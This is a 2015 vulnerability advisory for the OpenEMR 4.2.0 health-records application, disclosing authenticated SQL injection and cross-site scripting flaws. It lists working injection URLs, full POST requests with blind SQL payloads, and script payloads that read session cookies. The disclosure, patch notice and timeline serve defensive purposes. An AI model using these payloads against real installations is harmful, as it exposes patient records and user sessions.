openEMR 4.2.0 Cross Site Scripting / SQL Injection

2015.03.24
Credit: Steffen R
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89
CWE-79

Advisory: Multiple reflecting/stored XSS- and SQLi-vulnerabilities in openEMR v.4.2.0 Advisory ID: SROEADV-2015-08 Author: Steffen Rsemann Affected Software: openEMR v.4.2.0 (Release-date: 28th Dec 2014) Vendor URL: http://www.open-emr.org Vendor Status: patched CVE-ID: to be assigned after release of advisory via OSS list ========================== Vulnerability Description: ========================== Electronic health records and medical practice management application OpenEMR 4.2.0 suffers from multiple SQL injection and reflecting XSS vulnerabilities. ================== Technical Details: ================== All below described vulnerabilities can only be exploited by an already authenticated user. ===================== SQL injection vulnerabilities ===================== An SQL injection vulnerability can be found in the facility_admin.php file and can be abused by an attacker via the fid-parameter. Exploit-Example: http:// {TARGET}/interface/usergroup/facility_admin.php?fid=3%27+and+1=2+union+select+1,user%28%29,3,4,version%28%29,database%28%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+--+ Another (blind) SQL injection vulnerability resides in the appt_encounter_report.php an can be abused by an attacker by modifying a the form_facility-parameter in a POST-request. Exploit-Example: POST /openemr-4.2.0/interface/reports/appt_encounter_report.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.3.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/openemr-4.2.0/interface/reports/appt_encounter_report.php Cookie: OpenEMR=p30d0tu19a9r04tjgnuu1oqqq4 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 120 form_facility=3%27+AND+substring(version(),1,1)=%275&form_from_date=2015-01-13&form_to_date=2015-01-13&form_refresh=true The last (blind) SQL injection vulnerability resides in the appointments_report.php-file and can be as well abused by an attacker via crafting own SQL statements in the form_facility-parameter in a POST request. Exploit-Example: POST /openemr-4.2.0/interface/reports/appointments_report.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.3.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/openemr-4.2.0/interface/reports/appointments_report.php Cookie: OpenEMR=p30d0tu19a9r04tjgnuu1oqqq4 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 199 form_facility=3%27+and+substring(version(),1,1)=%274&form_provider=&form_from_date=2015-01-13&form_to_date=2015-01-13&form_apptstatus=&form_apptcat=ALL&form_orderby=comment&patient=&form_refresh=true ============== XSS vulnerabilities ============== A reflecting XSS-vulnerability can be found in user_admin.php via the id-parameter. Exploit-Example: http:// {TARGET}interface/usergroup/user_admin.php?id=4%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E A stored XSS vulnerability resides in add_edit_event.php via the input-field "form_comments" and is executed in appointments_report.php. Exploit-Example: <script>alert(document.cookie)</script> ========= Solution: ========= Install the latest patch (released 21st March 2015, see [3]). ==================== Disclosure Timeline: ==================== 12/13-Jan-2015 ? found the vulnerability 13-Jan-2015 - informed the developers 13-Jan-2015 ? release date of this security advisory [without technical details] 13-Jan-2015 - vendor responded and announced a patch 20-Jan-2015 - vendor provides fix for testing purposes 20-Jan-2015 - agreement to release technical details when patch has been released 21-Mar-2015 ? release date of the patch 22-Mar-2015 ? release date of this security advisory 22-Mar-2015 ? send to FullDisclosure ======== Credits: ======== Vulnerabilities found and advisory written by Steffen Rsemann. =========== References: =========== [1] http://www.open-emr.org [2] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-08.html [3] http://www.open-emr.org/wiki/index.php/OpenEMR_Patches

References:

http://sroesemann.blogspot.de/2015/01/sroeadv-2015-08.html
http://www.open-emr.org/wiki/index.php/OpenEMR_Patches


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